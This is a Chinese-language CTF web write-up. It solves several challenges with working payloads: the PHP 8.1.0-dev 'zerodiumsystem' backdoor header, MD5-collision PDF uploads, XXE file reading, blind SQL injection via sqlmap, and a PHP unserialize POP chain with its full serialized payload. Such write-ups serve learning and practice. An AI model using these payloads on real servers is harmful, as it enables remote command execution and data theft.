[青少年CTF]WEB WP

老毕登CTF

PHP的后门

页面提示了PHP版本

X-Powered-By: PHP/8.1.0-dev

搜搜

请求头加上

User-Agentt:zerodiumsystem("cat /flag");

getflag

EasyMD5

进去是一个PDF文件上传点,简单测试下发现提示MD5碰撞

使用工具fastcoll生产两个内容不同但MD5相同的pdf文件

PS.工具下载链接:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

上传getflag

PHP的XXE

目录扫描到/dom.php,是一个解析xml文档的应用。用外部实体读flag文件即可

Easy_SQLi

布尔盲注,没有过滤。直接上SQLMap就行

雏形系统

扫到/www.zip,拿到/index.php的源码。做了代码混淆,直接echo eval的参数即可。最后看到代码执行的逻辑

<?php
error_reporting(0);

class shi
{
    public $next;
    public $pass;
    public function __toString(){
        $this->next::PLZ($this->pass);
    }
}
class wo
{
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
        echo "Hi Try serialize Me!";
        $this->inspect();
    }
    function inspect(){
        if($this->sex=='boy'&&$this->age=='eighteen')
        {
            echo $this->intention;
        }
        echo "🙅18岁🈲";
    }
}

class Demo
{
    public $a;
    static function __callStatic($action, $do)
    {
        global $b;
        $b($do[0]);
    }
}

$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
    echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
    echo("登录成功");
}

?>

构造链的入口从wo#__destruct进入,inspect()中的echo到shi#__toString,最后到Demo通过可变函数执行命令,其中$_POST['password']是函数名称shi.pass为传入参数。pop链构造

<?php
class shi
{

    public function __construct() {
        $this->next = new Demo;
        $this->pass = "cat /flag";
    }
}
class wo
{
    public $sex='boy';
    public $age='eighteen';
    public function __construct() {
        $this->intention = new shi;
    }
}

class Demo
{
}

$o = serialize(new wo);
echo $o;
?>

payload为

password=system&username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:9:"cat /flag";}}